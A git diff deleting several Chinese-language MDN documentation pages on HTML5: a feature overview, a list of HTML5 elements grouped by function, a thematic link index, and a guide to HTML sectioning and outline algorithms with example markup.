WebGL 通过引入了一套非常地符合 OpenGL ES 2.0 并且可以用在 HTML5 {{HTMLElement("canvas")}} 元素中的 API 给 Web 带来了 3D 图像功能。
-
SVG
-
一个基于 XML 的可以直接嵌入到 HTML 中的矢量图像格式。
-
 
-
-
- -
-

性能 & 集成

- -
-
Web Workers
-
能够把 JavaScript 计算委托给后台线程,通过允许这些活动以防止使交互型事件变得缓慢。
-
XMLHttpRequest Level 2
-
允许异步读取页面的某些部分,允许其显示动态内容,根据时间和用户行为而有所不同。这是在 Ajax背后的技术。
-
即时编译的 JavaScript 引擎
-
新一代的 JavaScript 引擎功能更强大,性能更杰出。
-
History API
-
允许对浏览器历史记录进行操作。这对于那些交互地加载新信息的页面尤其有用。
-
conentEditable 属性:把你的网站改变成 wiki !
-
HTML5 已经把 contentEditable 属性标准化了。了解更多关于这个特性的内容。
-
拖放
-
HTML5 的拖放 API 能够支持在网站内部和网站之间拖放项目。同时也提供了一个更简单的供扩展和基于 Mozilla 的应用程序使用的 API。
-
HTML 中的焦点管理
-
支持新的 HTML5 activeElementhasFocus 属性。
-
基于 Web 的协议处理程序
-
你现在可以使用 navigator.registerProtocolHandler() 方法把 web 应用程序注册成一个协议处理程序。
-
requestAnimationFrame
-
允许控制动画渲染以获得更优性能。
-
全屏 API
-
为一个网页或者应用程序控制使用整个屏幕,而不显示浏览器界面。
-
指针锁定 API
-
允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。
-
在线和离线事件
-
为了构建一个良好的具有离线功能的 web 应用程序,你需要知道什么时候你的应用程序确实离线了。顺便提一句,在你的应用程序又再回到在线状态时你也需要知道。
-
- -

设备访问

- -
-
使用 Camera API
-
允许使用和操作计算机的摄像头,并从中存取照片。
-
触控事件
-
对用户按下触控屏的事件做出反应的处理程序。
-
使用地理位置定位
-
让浏览器使用地理位置服务定位用户的位置。
-
检测设备方向
-
让用户在运行浏览器的设备变更方向时能够得到信息。这可以被用作一种输入设备(例如制作能够对设备位置做出反应的游戏)或者使页面的布局跟屏幕的方向相适应(横向或纵向)。
-
指针锁定 API
-
允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。
-
- -

样式

- -

CSS 已经扩展到能够以一个更加复杂的方法给元素设置样式。这通常被称为 CSS3, 尽管 CSS 已经不再是很难触动的规范,并且不同的模块并不全部位于 level 3:其中一些位于 level 1 而另一些位于 level 4,覆盖了所有中间的层次。

- -
-
新的背景样式特性
-
现在可以使用 {{cssxref("box-shadow")}} 给逻辑框设置一个阴影,而且还可以设置 多背景
-
更精美的边框
-
现在不仅可以使用图像来格式化边框,使用 {{cssxref("border-image")}} 和它关联的普通属性,而且可以通过 {{cssxref("border-radius")}} 属性来支持圆角边框。
-
为你的样式设置动画
-
使用 CSS Transitions 以在不同的状态间设置动画,或者使用 CSS Animations 在页面的某些部分设置动画而不需要一个触发事件,你现在可以在页面中控制移动元素了。
-
排版方面的改进
-
作者拥有更高的控制已达到更佳的排版。他们不但可以控制 {{cssxref("text-overflow")}} 和 hyphenation, 而且也可以给它设置一个 阴影 或者更精细地控制它的 decorations。感谢新的 {{cssxref("@font-face")}} 规则,现在我们可以下载并应用自定义的字体了。.
-
新的展示性布局
-
为了提高设计的灵活性,已经有两种新的布局被添加了进来:CSS 多栏布局, 以及 CSS 灵活方框布局
-
-
-
- -

译注:

- -

被废弃的重复链接:https://developer.mozilla.org/zh-CN/docs/HTML5_junk

diff --git a/files/zh-cn/web/guide/html/html5/html5_element_list/index.html b/files/zh-cn/web/guide/html/html5/html5_element_list/index.html deleted file mode 100644 index 9a45c3ba52..0000000000 --- a/files/zh-cn/web/guide/html/html5/html5_element_list/index.html +++ /dev/null @@ -1,591 +0,0 @@ ---- -title: HTML5 标签列表 -slug: Web/Guide/HTML/HTML5/HTML5_element_list -tags: - - HTML - - HTML5 - - Web - - 初学者 - - 指南 -translation_of: Web/HTML/Element -translation_of_original: Web/Guide/HTML/HTML5/HTML5_element_list ---- -

这里列出了所有标准化的 HTML5 元素,使用起始标签描述,按照功能分组。与列出所有标准化的、非标准化的、有效的、废弃的标签的 HTML 元素索引 不同的是,该页只列出有效的 HTML5 元素。新网站应当只使用这里列出的元素。

- -

符号 这个元素在 HTML5 中加入 代表该元素是在 HTML5 中新增的。另外注意,这里列出的其他元素可能在 HTML5 标准中得到了扩充或经过修改。

- -

根元素

- - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("html")}}代表 HTML 或 XHTML 文档的根。其他所有元素必须是这个元素的子节点。
- -

文档元数据

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("head")}}代表关于文档元数据的一个集合,包括脚本或样式表的链接或内容。
{{HTMLElement("title")}}定义文档的标题,将显示在浏览器的标题栏或标签页上。该元素只能包含文本,包含的标签不会被解释。
{{HTMLElement("base")}}定义页面上相对 URL 的基准 URL。
{{HTMLElement("link")}}用于链接外部资源到该文档。
{{HTMLElement("meta")}}定义其他 HTML 元素无法描述的元数据。
{{HTMLElement("style")}}用于内联 CSS。
- -

脚本

- - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("script")}}定义一个内联脚本或链接到外部脚本。脚本语言是 JavaScript。
{{HTMLElement("noscript")}}定义当浏览器不支持脚本时显示的替代文字。
{{HTMLElement("template")}}这个元素在 HTML5 中加入通过 JavaScript 在运行时实例化内容的容器。
- -

章节

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("body")}} -
代表 HTML 文档的内容。在文档中只能有一个 <body> 元素。
-
{{HTMLElement("section")}} 这个元素在 HTML5 中加入定义文档中的一个章节。
{{HTMLElement("nav")}} 这个元素在 HTML5 中加入定义只包含导航链接的章节。
{{HTMLElement("article")}} 这个元素在 HTML5 中加入定义可以独立于内容其余部分的完整独立内容块。
{{HTMLElement("aside")}} 这个元素在 HTML5 中加入定义和页面内容关联度较低的内容——如果被删除,剩下的内容仍然很合理。
<h1>,<h2>,<h3>,<h4>,<h5>,<h6>标题元素实现了六层文档标题,<h1> 是最大的标题,<h6> 是最小的标题。标题元素简要地描述章节的主题。
{{HTMLElement("header")}} 这个元素在 HTML5 中加入定义页面或章节的头部。它经常包含 logo、页面标题和导航性的目录。
{{HTMLElement("footer")}} 这个元素在 HTML5 中加入定义页面或章节的尾部。它经常包含版权信息、法律信息链接和反馈建议用的地址。
{{HTMLElement("address")}}定义包含联系信息的一个章节。
{{HTMLElement("main")}}这个元素在 HTML5 中加入定义文档中主要或重要的内容。
- -

组织内容

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("p")}}定义一个段落。
{{HTMLElement("hr")}}代表章节、文章或其他长内容中段落之间的分隔符。
{{HTMLElement("pre")}}代表其内容已经预先排版过,格式应当保留 。
{{HTMLElement("blockquote")}}代表引用自其他来源的内容。
{{HTMLElement("ol")}}定义一个有序列表。
{{HTMLElement("ul")}}定义一个无序列表。
{{HTMLElement("li")}}定义列表中的一个列表项。
{{HTMLElement("dl")}}定义一个定义列表(一系列术语和其定义)。
{{HTMLElement("dt")}}代表一个由下一个 <dd> 定义的术语。
{{HTMLElement("dd")}}代表出现在它之前术语的定义。
{{HTMLElement("figure")}} 这个元素在 HTML5 中加入代表一个和文档有关的图例。
{{HTMLElement("figcaption")}} 这个元素在 HTML5 中加入代表一个图例的说明。
{{HTMLElement("div")}}代表一个通用的容器,没有特殊含义。
- -

文字形式

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("a")}}代表一个链接到其他资源的超链接
{{HTMLElement("em")}}代表强调 文字。
{{HTMLElement("strong")}}代表特别重要 文字。
{{HTMLElement("small")}}代表注释 ,如免责声明、版权声明等,对理解文档不重要。
{{HTMLElement("s")}}代表不准确或不相关 的内容。
{{HTMLElement("cite")}}代表作品标题
{{HTMLElement("q")}}代表内联的引用
{{HTMLElement("dfn")}}代表一个术语包含在其最近祖先内容中的定义
{{HTMLElement("abbr")}}代表省略缩写 ,其完整内容在 title 属性中。
{{HTMLElement("data")}} 这个元素在 HTML5 中加入关联一个内容的机器可读的等价形式 (该元素只在 WHATWG 版本的 HTML 标准中,不在 W3C 版本的 HTML5 标准中)。
{{HTMLElement("time")}} 这个元素在 HTML5 中加入代表日期时间 值;机器可读的等价形式通过 datetime 属性指定。
{{HTMLElement("code")}}代表计算机代码
{{HTMLElement("var")}}代表代码中的变量
{{HTMLElement("samp")}}代表程序或电脑的输出
{{HTMLElement("kbd")}}代表用户输入 ,一般从键盘输出,但也可以代表其他输入,如语音输入。
{{HTMLElement("sub")}},{{HTMLElement("sup")}}分别代表下标上标
{{HTMLElement("i")}}代表一段不同性质 的文字,如技术术语、外文短语等。
{{HTMLElement("b")}}代表一段需要被关注 的文字。
{{HTMLElement("u")}}代表一段需要下划线呈现的文本注释,如标记出拼写错误的文字等。
{{HTMLElement("mark")}} 这个元素在 HTML5 中加入代表一段需要被高亮的引用 文字。
{{HTMLElement("ruby")}} 这个元素在 HTML5 中加入代表被ruby 注释 标记的文本,如中文汉字和它的拼音。
{{HTMLElement("rt")}} 这个元素在 HTML5 中加入代表ruby 注释 ,如中文拼音。
{{HTMLElement("rp")}} 这个元素在 HTML5 中加入代表 ruby 注释两边的额外插入文本 ,用于在不支持 ruby 注释显示的浏览器中提供友好的注释显示。
{{HTMLElement("bdi")}} 这个元素在 HTML5 中加入代表需要脱离 父元素文本方向的一段文本。它允许嵌入一段不同或未知文本方向格式的文本。
{{HTMLElement("bdo")}}指定子元素的文本方向 ,显式地覆盖默认的文本方向。
{{HTMLElement("span")}}代表一段没有特殊含义的文本,当其他语义元素都不适合文本时候可以使用该元素。
{{HTMLElement("br")}}代表换行
{{HTMLElement("wbr")}} 这个元素在 HTML5 中加入代表建议换行 (Word Break Opportunity) ,当文本太长需要换行时将会在此处添加换行符。
- -

编辑

- - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("ins")}}定义增加 到文档的内容。
{{HTMLElement("del")}}定义从文档移除 的内容。
- -

嵌入内容

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("img")}}代表一张图片
{{HTMLElement("iframe")}}代表一个内联的框架
{{HTMLElement("embed")}} 这个元素在 HTML5 中加入代表一个嵌入 的外部资源,如应用程序或交互内容。
{{HTMLElement("object")}}代表一个外部资源 ,如图片、HTML 子文档、插件等。
{{HTMLElement("param")}}代表 <object> 元素所指定的插件的参数
{{HTMLElement("video")}} 这个元素在 HTML5 中加入代表一段视频 及其视频文件和字幕,并提供了播放视频的用户界面。
{{HTMLElement("audio")}} 这个元素在 HTML5 中加入代表一段声音 ,或音频流
{{HTMLElement("source")}} 这个元素在 HTML5 中加入<video><audio> 这类媒体元素指定媒体源
{{HTMLElement("track")}} 这个元素在 HTML5 中加入<video><audio> 这类媒体元素指定文本轨道(字幕)
{{HTMLElement("canvas")}} 这个元素在 HTML5 中加入代表位图区域 ,可以通过脚本在它上面实时呈现图形,如图表、游戏绘图等。
{{HTMLElement("map")}}<area> 元素共同定义图像映射 区域。
{{HTMLElement("area")}}<map> 元素共同定义图像映射 区域。
{{SVGElement("svg")}} 这个元素在 HTML5 中加入定义一个嵌入式矢量图
{{MathMLElement("math")}} 这个元素在 HTML5 中加入定义一段数学公式
- -

表格

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("table")}}定义多维数据
{{HTMLElement("caption")}}代表表格的标题
{{HTMLElement("colgroup")}}代表表格中一组单列或多列
{{HTMLElement("col")}}代表表格中的
{{HTMLElement("tbody")}}代表表格中一块具体数据 (表格主体)。
{{HTMLElement("thead")}}代表表格中一块列标签 (表头)。
{{HTMLElement("tfoot")}}代表表格中一块列摘要 (表尾)。
{{HTMLElement("tr")}}代表表格中的
{{HTMLElement("td")}}代表表格中的单元格
{{HTMLElement("th")}}代表表格中的头部单元格
- -

表单

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("form")}}代表一个表单 ,由控件组成。
{{HTMLElement("fieldset")}}代表控件组
{{HTMLElement("legend")}}代表 <fieldset> 控件组的标题
{{HTMLElement("label")}}代表表单控件的标题
{{HTMLElement("input")}}代表允许用户编辑数据的数据区 (文本框、单选框、复选框等)。
{{HTMLElement("button")}}代表按钮
{{HTMLElement("select")}}代表下拉框
{{HTMLElement("datalist")}} 这个元素在 HTML5 中加入代表提供给其他控件的一组预定义选项
{{HTMLElement("optgroup")}}代表一个选项分组
{{HTMLElement("option")}}代表一个 <select> 元素或 <datalist> 元素中的一个选项
{{HTMLElement("textarea")}}代表多行文本框
{{HTMLElement("keygen")}} 这个元素在 HTML5 中加入代表一个密钥对生成器 控件。
{{HTMLElement("output")}} 这个元素在 HTML5 中加入代表计算值
{{HTMLElement("progress")}} 这个元素在 HTML5 中加入代表进度条
{{HTMLElement("meter")}} 这个元素在 HTML5 中加入代表滑动条
- -

交互元素

- - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("details")}} 这个元素在 HTML5 中加入代表一个用户可以(点击)获取额外信息或控件的小部件
{{HTMLElement("summary")}} 这个元素在 HTML5 中加入代表 <details> 元素的综述标题
{{HTMLElement("menuitem")}} 这个元素在 HTML5 中加入代表一个用户可以点击的菜单项。
{{HTMLElement("menu")}} 这个元素在 HTML5 中加入代表菜单。
- -

另请参阅

- - diff --git a/files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html b/files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html deleted file mode 100644 index 3759db3097..0000000000 --- a/files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: HTML5 & friends thematic classification -slug: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification -translation_of: Web/Guide/HTML/HTML5 -translation_of_original: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification ---- -

这个页面提供了有关HTML5的主题链接,有些链接一般与HTML5关联但实际上并不是HTML标准,为了方便这些内容也被整理到这里。

-

HTML

-

Audio 和 video

-
- Firefox 3.5引入对HTML5<audio>和<video>元素的支持,提供向HTML文档轻松嵌入媒体资源的能力。参考:在 Firefox 中使用audio和video
-
-  
-

Canvas

-

<Canvas>是HTML新元素,可以用于通过脚本(常用 JavaScript)绘制图像,例如,它可以用来绘制图表,合成照片甚至实现动画。

-

参考:

- -

WebGL (独立规范)

-
- webGL WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0 and can be used in HTML5 {{ HTMLElement("canvas") }} elements.
-
- Reference: WebGL
-

Inline SVG and MathML

-
- HTML5 parsing liberates MathML and SVG from XML and makes them available in the main file format of the Web.
-
- Reference:
- - -
- Link relations complement the <a> tag and specify why you're pointing to another page.
-
- Reference:
-

Web forms

-
- Form elements and attributes in HTML5 provide a greater degree of semantic mark-up than HTML4 and remove a great deal of the need for tedious scripting and styling that was required in HTML4.
-
- Reference:
- -

Microformats (separate specification)

-
- Microformats allow web sites to provide semantic data to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself.
-
- Reference: Using microformats
- -

Semantic tags

-
- The HTML5 specification brings several new elements to web developers allowing them to describe the structure of a web document with a standard semantics.
-
- Reference:
-
    -
  • Sections and Outlines of an HTML5 document
  • -
  • {{ HTMLElement("article") }}
  • -
  • {{ HTMLElement("aside") }}
  • -
  • {{ HTMLElement("figcaption") }}
  • -
  • {{ HTMLElement("figure") }}
  • -
  • {{ HTMLElement("footer") }}
  • -
  • {{ HTMLElement("header") }}
  • -
  • {{ HTMLElement("mark") }}
  • -
  • {{ HTMLElement("nav") }}
  • -
  • {{ HTMLElement("section") }}
  • -
  • {{ HTMLElement("time") }}
  • -
-

JavaScript (separate specifications)

-

Client-Side Storage

-
- Firefox supports the HTML 5 specification for offline caching of web applications' resources and offline storage of data.
-
- Reference:
- -

IndexedDB

-
- IndexedDB is an evolving web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes.
-
- Reference: IndexedDB
-

Web workers (separate specification)

-
- Workers provide a simple means for web content to run scripts in background threads.  Once created, a worker can send messages to the spawning task by posting messages to an event handler specified by the creator.
-
- Reference: Using web workers
-

New events

-
- In order to build a good offline-capable web application, you need to know when your application is actually offline. Incidentally, you also need to know when your application has returned to an online status again.
- -

Drag and drop

-
- Firefox and other Mozilla applications support a number of features for handling drag and drop. This allows you the user to click and hold the mouse button down over an element, drag it to another location, and release the mouse button to drop the element there.
-
- Reference: Drag and Drop
-

Protocol handler

-
-

It's fairly common to find web pages link to resources using non-http protocols. You can think of this as a desktop-based protocol handler.

-

Reference: Web-based protocol handler

-

Geolocation

-
-
- The Geolocation API allows the user to provide their location to web applications if they so desire.  For privacy reasons, the user is asked to confirm permission to report location information.
-
- Reference: Using geolocation
- -
-

Focus attributes

-
- The focus atributes let a script understand if an element has the focus of the user and then act accordingly.
- -        
-

CSS (separate specifications)

-

New CSS selectors

-
- The following page shows the CSS3 support in Firefox and the new elements for HTML5.
- -

Typography

-

The following pages show some of the typography attributes introduced by CSS3.

-
- Text wrap:
- -

Layout

-
- Columns:
- -

Visual

-
- The following pages show some of the visual attributes introduced by CSS3.
- -

Dynamic effects

-
- CSS also introduces dynamic effects:
- -

{{ languages( { "ja": "ja/HTML/HTML5/HTML5_Thematic_Classification"} ) }}

diff --git a/files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html b/files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html deleted file mode 100644 index 2eeb6fe100..0000000000 --- a/files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html +++ /dev/null @@ -1,377 +0,0 @@ ---- -title: 使用 HTML 章节与大纲 -slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document -tags: - - HTML - - HTML5 - - 指南 - - 文档结构 - - 高阶 -translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines ---- -
-

(下方英文原文警告的过时已翻译版本)注意:下面描述的HTML 5 大纲算法在用户代理中还没有实现,因此,使用标题语义的用户暴露在HTML4的文档结构下。HTML5对问题的描述还仅仅是理论上的。

-
- -
-

Important: There are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final W3C specification. Therefore the outline algorithm should not be used to convey document structure to users. Authors are advised to use heading rank (h1-h6) to convey document structure.

-
- -

HTML5新增了几个新元素使得开发者可以用标准语义去描述web文档的结构。本文描述了这些元素并说明如何使用这些元素去为任何文档定义纲要。

- -

HTML 4 的文档结构

- -

文档结构,即,<body></body> 标记之间内容的语义结构,对呈现页面给用户是重要的。HTML4用文档中章节和子章节的概念去描述文档结构。一个章节由一个包含着标题元素(h1-h6)的div元素表示。这些html划分元素(HTML Dividing Elements)和标题元素(HTML Heading Elements)形成了文档的结构和纲要。

- -

所以下面的片段:

- -
-
<div class="section" id="forest-elephants" >
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <div class="subsection" id="forest-habitat" >
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-     ...this subsection continues...
-  </div>
-</div>
-
-
- -

形成了如下的大纲:

- -
1. Forest elephants
-   1.1 Habitat
-
- -

HTML div 元素( {{HTMLElement("div")}} elements)并不强制性地定义一个章节。一个 HTML 标题元素( HTML Heading Element)的出现就足以意味着新的章节. 因此,

- -
<h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h2>Habitat</h2>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-  <h2>Diet</h2>
-<h1>Mongolian gerbils</h1>
-
- -

会形成如下的大纲:

- -
1. Forest elephants
-   1.1 Habitat
-   1.2 Diet
-2. Mongolian gerbils
-
- -

HTML5 解决的问题

- -

HTML 4 的文档结构定义和其隐含的大纲算法非常粗糙而且造成了很多问题:

- -
    -
  1.  定义语义性章节的{{HTMLElement("div")}} 元素的用法,如果没有为class属性赋以特殊的值,使生成自动生成大纲的算法变得不可能 ("一个div元素{{HTMLElement("div")}} 是不是大纲的一部分, 定义的是章节还是子章节?" 或者 "该div元素 {{HTMLElement("div")}}是仅仅为了样式化?")。换句话说, HTML4规范在章节的定义和章节的范围都不精确。 自动生成大纲是重要的,尤其是在倾向于通过根据文档大纲内容去展示内容的辅助技术( assistive technology)。 HTML5 在自动生成大纲算法的过程中去掉了div元素({{HTMLElement("div")}}),并新增了一个元素,section元素({{HTMLElement("section")}})。
  2. -
  3. 合并多个文档是困难的:主文档中包含子文档意味着改变HTML标题元素的级别,以使得文档大纲能够保持下来。 这个已经被HTML5的新的章节元素解决了,因为新引入的元素({{HTMLElement("article")}}、{{HTMLElement("section")}}、{{HTMLElement("nav")}} 和 {{HTMLElement("aside")}})总是距离其最近的祖先章节的子章节, 与子文档章节内部的标题没有关系.
  4. -
  5. HTML4中,所有的章节都是文档大纲中的一部分。但是文档并不总是这样。文档可以包含那些不是大纲的特殊章节, 但是与文档有关的, 就像广告块和解释区域。 HTML5 引入aside元素 {{HTMLElement("aside")}}使得这样的节点不会插入到主纲要中。 
  6. -
  7. 另外, 因为在 HTML4中任何的部分都是文档大纲的一部分, 没有办法产生与网站相关而不是与文档相关的节段,比如logos,menus,目录或版权信息和法律声明。为了这个目的, HTML5 引入了三个特殊的节段 元素: 包含链接集合的nav元素{{HTMLElement("nav")}} , 例如目录, 包含网站相关信息的footer元素{{HTMLElement("footer")}} 和header元素 {{HTMLElement("header")}} 。
  8. -
- -

更具有普遍意义的是HTML5使得章节和标题特性更精确。使得文档大纲变的可预测,浏览器使用后也可以提高用户体验。

- -

HTML5 的大纲算法

- -

定义节段

- -

 {{HTMLElement("body")}} 元素中的所有内容都是节段中的一部分。节段在 HTML5 中是可以嵌套的。{{HTMLElement("body")}} 元素定义了主节段,基于主节段,可以显式或隐式定义各个子节段的划分。显式定义的节段是通过{{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}和 {{HTMLElement("nav")}} 这些标记中的内容。 

- -
注意:每个section可以有自己的标题结构。因此,即使是一个嵌套的section也能有{{HTMLElement("h1")}}. 具体查看 Defining Headings in HTML5.
- -

Example:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-  <aside>
-    <p>advertising block</p>
-  </aside>
-</section>
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

这个HTML片段定义了两个顶级节段:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-  <aside>
-    <p>advertising block</p>
-  </aside>
-</section>
-
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

第一个节段有三个子节段:

- -
<section>
-  <h1>Forest elephants</h1>
-
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-
-  <aside>
-    <p>advertising block</p>
-  </aside>
-</section>
-
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

上面的片段形成了如下的大纲:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
-   1.3 Section (aside)
-
- -

在HTML5中定义标题

- -

当 HTML 节段元素定义文档结构时,文档大纲也需要有用的标题。基本规则是简单的:第一个 HTML 标题元素({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}之一)定义了当前节段的标题

- -

标题元素通过在元素里的名字加上数字来分级标题元素,{{HTMLElement("h1")}} 元素有最高级别,{{HTMLElement("h6")}} 有最低级别。相关的级别只在节段中起作用;节段的结构定义了大纲,而不是节段的标题。例如,下面的代码:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-        ...this subsection continues...
-  </section>
-</section>
-<section>
-  <h3>Mongolian gerbils</h3>
-  <p>In this section, we discuss the famous mongolian gerbils.
-     ...this section continues...
-</section>
- -

形成了下面的大纲:

- -
1. Forest elephants
-   1.1 Habitat
-2. Mongolian gerbils
- -

注意标题元素的级别(例子中的第一个顶层节段的 {{HTMLElement("h1")}},子节段中的{{HTMLElement("h2")}} 和第二个顶层节段中的{{HTMLElement("h3")}})并不重要。(任何级别可以用作显示定义的节段的标题,虽然这种做法并不推荐。)

- -

隐式分节

- -

因为HTML5分节元素并不强制性定义大纲,为了与现有的占主导地位的HTML4保持兼容,有个方式来定义节段而不需要分节元素。这种方式就是隐式分节。

- -

HTML标题元素 ({{HTMLElement("h1")}} 到 {{HTMLElement("h6")}}) 定义了一个新的,隐式的节段,当其不是父节段第一个标题时。这种隐式放置节段的方式通过在父节点中与之前标题的相对级别来定义。如果比之前的标题级别更低,那么在节段里开始新的隐式子节段。如代码所示:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h3 class="implicit subsection">Habitat</h3>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-</section>
- -

形成如下的大纲:

- -
1. Forest elephants
-   1.1 Habitat (implicitly defined by the h3 element)
- -

如果与前面标题的级别相同,那么闭合前面的节段(可能是显式标记的节段!)并开始新的同一级别的隐式节段:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h1 class="implicit section">Mongolian gerbils</h1>
-  <p>Mongolian gerbils are cute little mammals.
-    ...this section continues...
-</section>
- -

形成如下的大纲:

- -
1. Forest elephants
-2. Mongolian gerbils (implicitly defined by the h1 element, which closed the previous section at the same time)
- -

如果比之前标题的级别更高,那么关闭之前的节段并开始新的这个更高级别的隐式节段:

- -
<body>
-  <h1>Mammals</h1>
-  <h2>Whales</h2>
-  <p>In this section, we discuss the swimming whales.
-    ...this section continues...
-  <section>
-    <h3>Forest elephants</h3>
-    <p>In this section, we discuss the lesser known forest elephants.
-      ...this section continues...
-    <h3>Mongolian gerbils</h3>
-      <p>Hordes of gerbils have spread their range far beyond Mongolia.
-         ...this subsection continues...
-    <h2>Reptiles</h2>
-      <p>Reptiles are animals with cold blood.
-          ...this subsection continues...
-  </section>
-</body>
- -

形成如下的大纲:

- -
1. Mammals
-   1.1 Whales (implicitly defined by the h2 element)
-   1.2 Forest elephants (explicitly defined by the section element)
-   1.3 Mongolian gerbils (implicitly defined by the h3 element, which closes the previous section at the same time)
-2. Reptiles (implicitly defined by the h2 element, which closes the previous section at the same time)
- -

这并不是一眼就可以通过标题标记就可以看出来的大纲。为了使标记容易理解,用显式的标记开始和闭合节段以及匹配标题等级与期望的嵌套节段等级。然而,HTML5规范并不需要这样。如果你发现浏览器以不期望的方式渲染文档,检查是否有隐式的节段没有闭合。

- -

作为经验法则,标题级别应该与节段嵌套级别相匹配,但为了方便节段在多个文档中的重用,也存在例外的情况。例如,一个节段可能会存储在内容管理系统中并在运行时组装为完整的文档。在这种情况下,好的实践便是使用{{HTMLElement("h1")}}作为可重用部分的最高标题级别。可重用节段的嵌套级别应该取决于将使用该节段的文档的节段层级。显式节段标记仍然在这种情况下有用处。

- -

分节根

- -

分节根是一个HTML元素,这个元素可以拥有自己的大纲,但是元素内部的节段和标题对其祖先的大纲没有贡献。除了文档的逻辑分节根{{HTMLElement("body")}}元素,这些元素经常在页面中引入外部内容:{{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} 和{{HTMLElement("td")}}。

- -

Example:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h2>Introduction</h2>
-    <p>In this section, we discuss the lesser known forest elephants</p>
-  </section>
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them. Let's
-       look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p>
-    <blockquote>
-       <h1>Borneo</h1>
-       <p>The forest element lives in Borneo...</p>
-    </blockquote>
-  </section>
-</section>
-
- -

例子形成如下的大纲:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
- -

这个大纲并不包含 {{HTMLElement("blockquote")}} 元素的内部大纲。{{HTMLElement("blockquote")}} 元素是一个外部引用,是一个分节根并隔离了他内部的大纲

- -

大纲之外的节段

- -

HTML5引入了2个新的元素,用来定义那些不属于web文档主要大纲中的节段。

- -
    -
  1. HTML 侧边分节元素 ({{HTMLElement("aside")}}) 定义了这样的节段, 虽然是主要的分节元素, 但并不属于主要的文档流, 就像解释栏或广告栏. aside元素内部有自己的大纲,但并不计入文档大纲中
  2. -
